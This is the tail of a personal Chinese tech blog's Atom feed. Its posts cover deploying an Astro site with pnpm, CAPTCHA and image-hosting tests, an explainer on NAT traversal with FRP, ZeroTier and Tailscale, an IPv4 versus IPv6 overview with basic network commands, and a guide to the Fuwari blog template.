内置服务器快速查看：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>dist</span></div></div><div><div><div>2</div></div><div><span>python3</span><span> </span><span>-m</span><span> </span><span>http.server</span><span> </span><span>8000</span></div></div><div><div><div>3</div></div><div><span># 打开 http://服务器IP:8000</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section><section><h2>常见问题与解决方案<a href="#常见问题与解决方案"><span>#</span></a></h2><ul>
<li><strong>安装失败或版本不匹配</strong>：确保 Node 版本与 <code>pnpm</code>、项目 <code>engines</code> 要求一致。使用 <code>node -v</code> 和 <code>pnpm -v</code> 检查。</li>
<li><strong>依赖差异</strong>：确保仓库包含 <code>pnpm-lock.yaml</code> 并随仓库提交。CI/服务器应使用相同 lockfile。</li>
<li><strong>404 或 路由错误</strong>：若部署在子路径，设置 <code>astro.config.mjs</code> 的 <code>base</code>。</li>
<li><strong>构建过程内存不足</strong>：在低配服务器上可通过 swap 或在 CI 上构建再上传静态产物。</li>
<li><strong>资源没更新</strong>：CDN 缓存可导致旧内容显示。清理 CDN 缓存或更改资源文件名以绕过缓存。</li>
</ul><hr /></section><section><h2>长期维护与策略（长线思维）<a href="#长期维护与策略长线思维"><span>#</span></a></h2><ol>
<li><strong>CI/CD 自动化</strong>：采用 Git-based 自动部署。减少人工错误。</li>
<li><strong>备份与回滚</strong>：使用 Git tag 做发布记录。保存关键配置和上传内容的离线备份。</li>
<li><strong>依赖管理</strong>：启用 Dependabot 或定期审查依赖，及时修补安全问题。</li>
<li><strong>监控与性能</strong>：使用 Lighthouse、SRE 指标或第三方监控检测性能退化。</li>
<li><strong>扩展预留</strong>：如果未来需要 SSR 或 API，设计时预留 serverless 或动态后端入口。</li>
<li><strong>文档化</strong>：在仓库根目录写 <code>DEPLOY.md</code>，列出部署步骤、回滚步骤、常见问题和联系方式。</li>
</ol><hr /></section><section><h2>推荐 <code>DEPLOY.md</code> 最小模板（放在仓库根目录）<a href="#推荐-deploymd-最小模板放在仓库根目录"><span>#</span></a></h2><div><figure><figcaption><span>DEPLOY.md</span></figcaption><pre><code><div><div><div>1</div></div><div><span>## 本地构建</span></div></div><div><div><div>2</div></div><div><span>pnpm install</span></div></div><div><div><div>3</div></div><div><span>pnpm build</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>## 手动上传（示例）</span></div></div><div><div><div>6</div></div><div><span>rsync -avz --delete dist/ user@static-server:/var/www/your-site/</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>## GitHub Actions</span></div></div><div><div><div>9</div></div><div><span>Workflow: .github/workflows/deploy.yml</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>## 回滚</span></div></div><div><div><div>12</div></div><div><span><span>1.</span><span> git checkout &lt;</span></span><span>previous-tag-or-commit</span><span>&gt;</span></div></div><div><div><div>13</div></div><div><span><span>2.</span><span> git push origin main</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section><section><h2>结论<a href="#结论"><span>#</span></a></h2><p>把文章保存为 Markdown 文件，提交到仓库，选择自动化或手动发布流程即可上线。推荐使用 Vercel/Netlify 以降低运维成本。保留 <code>pnpm-lock.yaml</code> 和 <code>DEPLOY.md</code>，并把部署流程写死在 CI 中以保证长期可复现性。</p></section><section><h2>参考资料<a href="#参考资料"><span>#</span></a></h2><ul>
<li>
<p>Astro 官方部署指南<br />
<a href="https://docs.astro.build/en/guides/deploy/" target="_blank">https://docs.astro.build/en/guides/deploy/</a></p>
</li>
<li>
<p>Astro 部署到 GitHub Pages（官方指南）<br />
<a href="https://docs.astro.build/en/guides/deploy/github/" target="_blank">https://docs.astro.build/en/guides/deploy/github/</a></p>
</li>
<li>
<p>Astro 部署到 Vercel（官方指南）<br />
<a href="https://docs.astro.build/en/guides/deploy/vercel/" target="_blank">https://docs.astro.build/en/guides/deploy/vercel/</a></p>
</li>
<li>
<p>Astro 部署到 Netlify（官方指南）<br />
<a href="https://docs.astro.build/en/guides/deploy/netlify/" target="_blank">https://docs.astro.build/en/guides/deploy/netlify/</a></p>
</li>
<li>
<p>Astro GitHub Pages 模板（示例仓库）<br />
<a href="https://github.com/withastro/github-pages" target="_blank">https://github.com/withastro/github-pages</a></p>
</li>
<li>
<p>Astro 官方部署 Action（withastro/action）<br />
<a href="https://github.com/withastro/action" target="_blank">https://github.com/withastro/action</a></p>
</li>
<li>
<p>peaceiris/actions-gh-pages（常用 GitHub Pages 部署 Action）<br />
<a href="https://github.com/peaceiris/actions-gh-pages" target="_blank">https://github.com/peaceiris/actions-gh-pages</a></p>
</li>
<li>
<p>pnpm 安装与 CLI 文档（pnpm install）<br />
<a href="https://pnpm.io/cli/install" target="_blank">https://pnpm.io/cli/install</a></p>
</li>
<li>
<p>pnpm 安装说明（installation）<br />
<a href="https://pnpm.io/installation" target="_blank">https://pnpm.io/installation</a></p>
</li>
<li>
<p>pnpm 官方 GitHub 仓库<br />
<a href="https://github.com/pnpm/pnpm" target="_blank">https://github.com/pnpm/pnpm</a></p>
</li>
<li>
<p>pnpm 关于与 Git 一起使用的说明（lockfile、合并等）<br />
<a href="https://pnpm.io/git" target="_blank">https://pnpm.io/git</a></p>
</li>
<li>
<p>npm 包：serve（本地静态预览工具）<br />
<a href="https://www.npmjs.com/package/serve" target="_blank">https://www.npmjs.com/package/serve</a></p>
</li>
<li>
<p>Python 标准库：http.server（快速预览）<br />
<a href="https://docs.python.org/3/library/http.server.html" target="_blank">https://docs.python.org/3/library/http.server.html</a></p>
</li>
<li>
<p>Node.js 官方下载页面（二进制与版本）<br />
<a href="https://nodejs.org/en/download/" target="_blank">https://nodejs.org/en/download/</a></p>
</li>
<li>
<p>NodeSource 安装脚本（示例：setup_20.x）<br />
<a href="https://deb.nodesource.com/setup_20.x" target="_blank">https://deb.nodesource.com/setup_20.x</a></p>
</li>
<li>
<p>Netlify 官方：如何使用 Astro（博客 / 指南）<br />
<a href="https://www.netlify.com/blog/how-to-deploy-astro/" target="_blank">https://www.netlify.com/blog/how-to-deploy-astro/</a></p>
</li>
<li>
<p>Vercel 文档：Astro 框架支持页面<br />
<a href="https://vercel.com/docs/frameworks/astro" target="_blank">https://vercel.com/docs/frameworks/astro</a></p>
</li>
<li>
<p>Cloudflare Pages：部署 Astro 指南<br />
<a href="https://developers.cloudflare.com/pages/framework-guides/deploy-an-astro-site/" target="_blank">https://developers.cloudflare.com/pages/framework-guides/deploy-an-astro-site/</a></p>
</li>
<li>
<p>freeCodeCamp：pnpm 使用入门文章（用户指南）<br />
<a href="https://www.freecodecamp.org/news/how-to-use-pnpm/" target="_blank">https://www.freecodecamp.org/news/how-to-use-pnpm/</a></p>
</li>
</ul></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/captcha/</id>
      <title type="text">你是人机吗？</title>
      <published>2025-08-13T00:00:00.000Z</published>
      <updated>2025-08-13T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/captcha/"/>
      <summary type="text">一篇关于人机验证的文章。有两个人机验证可以玩儿。</summary>
      <content type="html"><![CDATA[<section><h1>你是机器人吗?<a href="#你是机器人吗"><span>#</span></a></h1><blockquote><p>目前只有两个人机验
证后面会添加更多。</p></blockquote><hr />  
    reCAPTCHA demo: Simple page

    <section><h2>reCaptcha (Google 的人机验证)<a href="#recaptcha-google-的人机验证"><span>#</span></a></h2> <div></div><hr /></section><section><h2>Cloudflare Turnstile<a href="#cloudflare-turnstile"><span>#</span></a></h2><div></div>
</section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/picture-test/</id>
      <title type="text">我的博客有图片了</title>
      <published>2025-08-13T00:00:00.000Z</published>
      <updated>2025-08-13T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/picture-test/"/>
      <summary type="text">图片测试文章</summary>
      <content type="html"><![CDATA[<section><h1>图片测试<a href="#图片测试"><span>#</span></a></h1><p>最近用cf搭建了一个图床应该还够用</p><hr /><section><h2>gif动图测试<a href="#gif动图测试"><span>#</span></a></h2><p><img src="https://tuchuang.mckero.top/1755138240204.gif" alt="" loading="lazy" /></p><hr /></section><section><h2>jpg图片测试<a href="#jpg图片测试"><span>#</span></a></h2><p><img src="https://tuchuang.mckero.top/Screenshot_20250809_221456.jpg" alt="" loading="lazy" /></p><hr /></section><section><h2>jpge图片测试<a href="#jpge图片测试"><span>#</span></a></h2><p><img src="https://tuchuang.mckero.top/OIP.jpeg" alt="" loading="lazy" /></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/introduce-intranet-penetration/</id>
      <title type="text">为什么要使用内网穿透和内网穿透的原理</title>
      <published>2025-08-12T00:00:00.000Z</published>
      <updated>2025-08-12T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/introduce-intranet-penetration/"/>
      <summary type="text">介绍内网穿透</summary>
      <content type="html"><![CDATA[<section><h1>深入理解内网穿透：原理、工具与实践<a href="#深入理解内网穿透原理工具与实践"><span>#</span></a></h1><section><h2>一、引言<a href="#一引言"><span>#</span></a></h2><p>在现代网络架构中，许多设备和服务部署在内网中，无法直接被外部访问。这给远程控制、远程办公、物联网设备管理等带来了挑战。内网穿透技术应运而生，成为解决这一问题的重要手段。本文将详细介绍内网穿透的原理、常见工具、应用场景以及如何搭建一个内网穿透环境。</p></section><section><h2>二、内网穿透的背景与需求<a href="#二内网穿透的背景与需求"><span>#</span></a></h2><section><h3>1. NAT（网络地址转换）与内网设备的访问限制<a href="#1-nat网络地址转换与内网设备的访问限制"><span>#</span></a></h3><p>NAT 是一种将私有 IP 地址映射到公网 IP 地址的技术，使得多个内网设备可以共享一个公网 IP 地址。然而，这种映射方式导致外部网络无法直接访问内网设备，因为内网设备的私有 IP 地址在公网中不可见。</p></section><section><h3>2. 内网穿透的需求<a href="#2-内网穿透的需求"><span>#</span></a></h3><ul>
<li><strong>远程办公</strong>：员工需要在家中访问公司内部资源。</li>
<li><strong>远程控制</strong>：在外地访问家中或办公室的设备。</li>
<li><strong>物联网管理</strong>：远程控制和管理部署在内网中的智能设备。</li>
</ul></section></section><section><h2>三、内网穿透的原理<a href="#三内网穿透的原理"><span>#</span></a></h2><section><h3>1. NAT 的工作原理<a href="#1-nat-的工作原理"><span>#</span></a></h3><p>NAT 通过修改数据包的源 IP 地址和端口号，将内网设备的通信映射到公网 IP 地址上，从而实现内网设备与外部网络的通信。然而，NAT 阻止了外部网络主动访问内网设备，因为内网设备的私有 IP 地址在公网中不可见。</p></section><section><h3>2. 内网穿透的实现方式<a href="#2-内网穿透的实现方式"><span>#</span></a></h3><ul>
<li><strong>反向代理</strong>：内网设备通过客户端连接到公网服务器，外部用户访问公网服务器，服务器将请求转发给内网设备。</li>
<li><strong>端口映射</strong>：在路由器上配置端口映射，将外部请求转发到内网设备。</li>
<li><strong>第三方服务</strong>：使用如 FRP、ZeroTier 等工具，通过公网服务器中转，实现内网穿透。</li>
</ul></section></section><section><h2>四、常见的内网穿透工具<a href="#四常见的内网穿透工具"><span>#</span></a></h2><section><h3>1. FRP（Fast Reverse Proxy）<a href="#1-frpfast-reverse-proxy"><span>#</span></a></h3><p>FRP 是一个高性能的反向代理应用，专注于内网穿透。它支持多种协议，包括 TCP、UDP、HTTP、HTTPS 等，适用于各种场景。</p></section><section><h3>2. ZeroTier<a href="#2-zerotier"><span>#</span></a></h3><p>ZeroTier 是一个开源的虚拟局域网（VPN）解决方案，允许设备之间建立点对点的连接，适用于远程办公、远程控制等场景。</p></section><section><h3>3. Tailscale<a href="#3-tailscale"><span>#</span></a></h3><p>Tailscale 是基于 WireGuard 的 VPN 解决方案，提供简单的配置和高性能的连接，适用于个人和团队的远程访问需求。</p></section></section><section><h2>五、内网穿透的应用场景<a href="#五内网穿透的应用场景"><span>#</span></a></h2><ul>
<li><strong>远程桌面访问</strong>：在家中访问公司电脑。</li>
<li><strong>远程摄像头监控</strong>：查看家中或办公室的实时视频。</li>
<li><strong>远程开发与调试</strong>：开发者在外地调试内网服务。</li>
<li><strong>物联网设备控制</strong>：远程控制智能家居设备。</li>
</ul></section><section><h2>六、如何搭建内网穿透环境<a href="#六如何搭建内网穿透环境"><span>#</span></a></h2><p>以下以 FRP 为例，介绍如何搭建一个简单的内网穿透环境：</p><section><h3>1. 准备工作<a href="#1-准备工作"><span>#</span></a></h3><ul>
<li>准备一台公网服务器，用于中转。</li>
<li>在内网设备和公网服务器上安装 FRP。</li>
</ul></section><section><h3>2. 配置公网服务器<a href="#2-配置公网服务器"><span>#</span></a></h3><ul>
<li>编辑 <code>frps.ini</code> 配置文件，设置监听端口和认证信息。</li>
<li>启动 FRP 服务端。</li>
</ul></section><section><h3>3. 配置内网设备<a href="#3-配置内网设备"><span>#</span></a></h3><ul>
<li>编辑 <code>frpc.ini</code> 配置文件，设置连接信息和需要穿透的端口。</li>
<li>启动 FRP 客户端。</li>
</ul></section><section><h3>4. 测试连接<a href="#4-测试连接"><span>#</span></a></h3><ul>
<li>从外部网络访问公网服务器的指定端口，验证是否成功转发到内网设备。</li>
</ul></section></section><section><h2>七、内网穿透的安全性考虑<a href="#七内网穿透的安全性考虑"><span>#</span></a></h2><p>在使用内网穿透技术时，安全性是一个重要的考虑因素。以下是一些建议：</p><ul>
<li><strong>使用加密连接</strong>：确保数据在传输过程中被加密，防止被窃听。</li>
<li><strong>身份验证</strong>：设置强密码或使用密钥认证，防止未授权访问。</li>
<li><strong>访问控制</strong>：限制允许访问的 IP 地址或端口，减少攻击面。</li>
<li><strong>定期更新</strong>：保持内网穿透工具和操作系统的最新版本，修补已知漏洞。</li>
</ul></section><section><h2>八、总结<a href="#八总结"><span>#</span></a></h2><p>内网穿透技术为解决内网设备无法直接访问的问题提供了有效的解决方案，广泛应用于远程办公、物联网设备管理等场景。理解其原理和应用场景，有助于更好地利用这一技术，提高工作效率和生活便利性。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/ipv4_vs_ipv6/</id>
      <title type="text">ipv4和ipv6有啥区别？</title>
      <published>2025-08-12T00:00:00.000Z</published>
      <updated>2025-08-12T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/ipv4_vs_ipv6/"/>
      <summary type="text">这是一个介绍ipv4和ipv6的文章。</summary>
      <content type="html"><![CDATA[<section><h1>IPv4 vs IPv6 — 简明 Markdown 文章<a href="#ipv4-vs-ipv6--简明-markdown-文章"><span>#</span></a></h1><section><h2>简介<a href="#简介"><span>#</span></a></h2><p>说明什么是 IPv4 和 IPv6。<br />
IP 是网络层地址方案。IPv4 使用 32 位地址。IPv6 使用 128 位地址。IPv6 为互联网的长期扩展提供地址空间和一些协议改进。</p></section><section><h2>IPv4（核心要点）<a href="#ipv4核心要点"><span>#</span></a></h2><ul>
<li>地址长度：32 位。常见表示法为点分十进制，例如 <code>192.0.2.1</code>。</li>
<li>地址总量：约 43 亿条（理论）。</li>
<li>常见特性：IPv4 广泛部署，使用 NAT（网络地址转换）缓解地址不足。</li>
<li>子网表示：CIDR，如 <code>192.0.2.0/24</code>。</li>
<li>缺点：地址耗尽，报头选项复杂，某些扩展功能需要额外机制。</li>
</ul></section><section><h2>IPv6（核心要点）<a href="#ipv6核心要点"><span>#</span></a></h2><ul>
<li>地址长度：128 位。常见表示法为八组十六进制，例如 <code>2001:0db8:85a3:0000:0000:8a2e:0370:7334</code>。可简写为 <code>2001:db8:85a3::8a2e:370:7334</code>。</li>
<li>地址总量：极其庞大，足够长期分配给每台设备。</li>
<li>改进点：更简洁的报头设计、更好的链路本地自动配置（SLAAC）、内建 IPsec 支持（可选）、内置多播替代广播。</li>
<li>子网表示：如 <code>2001:db8::/32</code>。</li>
<li>优点：消除因 NAT 引起的一些复杂性，支持直接端到端连接（在合适的安全策略下）。</li>
</ul></section><section><h2>主要差异（要点列出）<a href="#主要差异要点列出"><span>#</span></a></h2><ul>
<li>地址空间：IPv6 &gt;&gt; IPv4。</li>
<li>地址格式：二进制长度与文本表示不同。</li>
<li>NAT：IPv4 常用 NAT。IPv6 设计上鼓励端到端。</li>
<li>自动配置：IPv6 支持无状态自动配置（SLAAC）。</li>
<li>报头：IPv6 报头更简洁，扩展报头用于可选功能。</li>
<li>兼容性：两者不直接互通，需要过渡机制。</li>
</ul></section><section><h2>为什么需要 IPv6<a href="#为什么需要-ipv6"><span>#</span></a></h2><ul>
<li>IPv4 地址池耗尽。</li>
<li>物联网和移动设备增长需要大量地址。</li>
<li>简化地址分配与路由聚合。</li>
<li>支持现代网络需要的扩展功能。</li>
</ul></section><section><h2>过渡策略（实务建议）<a href="#过渡策略实务建议"><span>#</span></a></h2><ul>
<li>双栈（Dual Stack）：同时运行 IPv4 和 IPv6。是最稳健的迁移方式。</li>
<li>隧道（Tunneling）：在 IPv4 基础设施上封装 IPv6，如 6to4、Teredo、GRE。适合临时或特殊场景。</li>
<li>转换（Translation）：NAT64/DNS64 在 IPv6-only 网络访问 IPv4 资源时使用。适合 IPv6 优先环境。</li>
<li>渐进式部署：先在骨干和边界启用 IPv6，再向内部服务和用户推进。</li>
</ul></section><section><h2>部署与测试（常用命令）<a href="#部署与测试常用命令"><span>#</span></a></h2><p>检查本机地址（Linux/macOS）：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ip</span><span> </span><span>-6</span><span> </span><span>addr</span></div></div><div><div><div>2</div></div><div><span>ip</span><span> </span><span>-4</span><span> </span><span>addr</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>检查路由：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ip</span><span> </span><span>-6</span><span> </span><span>route</span></div></div><div><div><div>2</div></div><div><span>ip</span><span> </span><span>-4</span><span> </span><span>route</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>ping 测试：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ping</span><span> </span><span>8.8.8.8</span><span>        </span><span># IPv4</span></div></div><div><div><div>2</div></div><div><span>ping6</span><span> </span><span>2001:4860:4860::8888</span><span>  </span><span># IPv6</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>DNS 验证：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>dig</span><span> </span><span>A</span><span> </span><span>example.com</span></div></div><div><div><div>2</div></div><div><span>dig</span><span> </span><span>AAAA</span><span> </span><span>example.com</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h2>安全与运维注意<a href="#安全与运维注意"><span>#</span></a></h2><ul>
<li>不可因为有更多地址就放松防火墙。制定 IPv6 防火墙策略。</li>
<li>IPv6 的链路本地地址（fe80::/10）和自动配置需要监控。</li>
<li>日志、监控和入侵检测需要支持 IPv6。</li>
<li>供应商设备固件、第三方服务需确认 IPv6 支持与兼容性。</li>
<li>DNS 配置要同时维护 A 与 AAAA 记录，避免解析不一致。</li>
</ul></section><section><h2>长线建议（面向未来）<a href="#长线建议面向未来"><span>#</span></a></h2><ul>
<li>新服务优先支持 IPv6，同时保留 IPv4 兼容层。</li>
<li>建立双栈为长期目标。逐步减少对 NAT 的依赖。</li>
<li>将 IPv6 纳入容量规划、安全审计与自动化测试中。</li>
<li>对外依赖的第三方服务要求明确 IPv6 支持时间表。</li>
<li>教育运维团队和开发团队，确保不会出现“IPv6 未知盲区”。</li>
</ul></section><section><h2>小结（利弊速览）<a href="#小结利弊速览"><span>#</span></a></h2><ul>
<li>IPv4：兼容性高，现有生态成熟，但地址稀缺且需靠 NAT 解决。</li>
<li>IPv6：地址充足，协议更现代，但需要投入升级、配置和运维适配。</li>
<li>实务路径：双栈第一，隧道与转换为补充。长期迁移到 IPv6 有利于简化架构和扩展性。</li>
</ul><p>如果需要，我可以把这篇文章改为更技术向的版本，或提供生产环境中具体的骨干、边界路由和防火墙示例配置。要哪个版本，直接说。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/guide/</id>
      <title type="text">Simple Guides for Fuwari</title>
      <published>2024-04-01T00:00:00.000Z</published>
      <updated>2024-04-01T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/guide/"/>
      <summary type="text">How to use this blog template.</summary>
      <content type="html"><![CDATA[<blockquote><p>Cover image source: <a href="https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/208fc754-890d-4adb-9753-2c963332675d/width=2048/01651-1456859105-(colour_1.5),girl,_Blue,yellow,green,cyan,purple,red,pink,_best,8k,UHD,masterpiece,male%20focus,%201boy,gloves,%20ponytail,%20long%20hair,.jpeg" target="_blank">Source</a></p></blockquote>
<p>This blog template is built with <a href="https://astro.build/" target="_blank">Astro</a>. For the things that are not mentioned in this guide, you may find the answers in the <a href="https://docs.astro.build/" target="_blank">Astro Docs</a>.</p>
<section><h2>Front-matter of Posts<a href="#front-matter-of-posts"><span>#</span></a></h2><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>---</span></div></div><div><div><div>2</div></div><div><span>title</span><span>: </span><span>My First Blog Post</span></div></div><div><div><div>3</div></div><div><span>published</span><span>: </span><span>2023-09-09</span></div></div><div><div><div>4</div></div><div><span>description</span><span>: </span><span>This is the first post of my new Astro blog.</span></div></div><div><div><div>5</div></div><div><span>image</span><span>: </span><span>./cover.jpg</span></div></div><div><div><div>6</div></div><div><span>tags</span><span>: [</span><span>Foo</span><span>, </span><span>Bar</span><span>]</span></div></div><div><div><div>7</div></div><div><span>category</span><span>: </span><span>Front-end</span></div></div><div><div><div>8</div></div><div><span>draft</span><span>: </span><span>false</span></div></div><div><div><div>9</div></div><div><span>---</span></div></div></code></pre><div><div></div><div></div></div></figure></div>

<table><thead><tr><th>Attribute</th><th>Description</th></tr></thead><tbody><tr><td><code>title</code></td><td>The title of the post.</td></tr><tr><td><code>published</code></td><td>The date the post was published.</td></tr><tr><td><code>description</code></td><td>A short description of the post. Displayed on index page.</td></tr><tr><td><code>image</code></td><td>The cover image path of the post.<br />1. Start with <code>http://</code> or <code>https://</code>: Use web image<br />2. Start with <code>/</code>: For image in <code>public</code> dir<br />3. With none of the prefixes: Relative to the markdown file</td></tr><tr><td><code>tags</code></td><td>The tags of the post.</td></tr><tr><td><code>category</code></td><td>The category of the post.</td></tr><tr><td><code>draft</code></td><td>If this post is still a draft, which won’t be displayed.</td></tr></tbody></table></section>
<section><h2>Where to Place the Post Files<a href="#where-to-place-the-post-files"><span>#</span></a></h2><p>Your post files should be placed in <code>src/content/posts/</code> directory. You can also create sub-directories to better organize your posts and assets.</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>src/content/posts/</span></div></div><div><div><div>2</div></div><div><span>├── post-1.md</span></div></div><div><div><div>3</div></div><div><span>└── post-2/</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>├── cover.png</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>└── index.md</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>]]></content>
    </entry>
</feed>
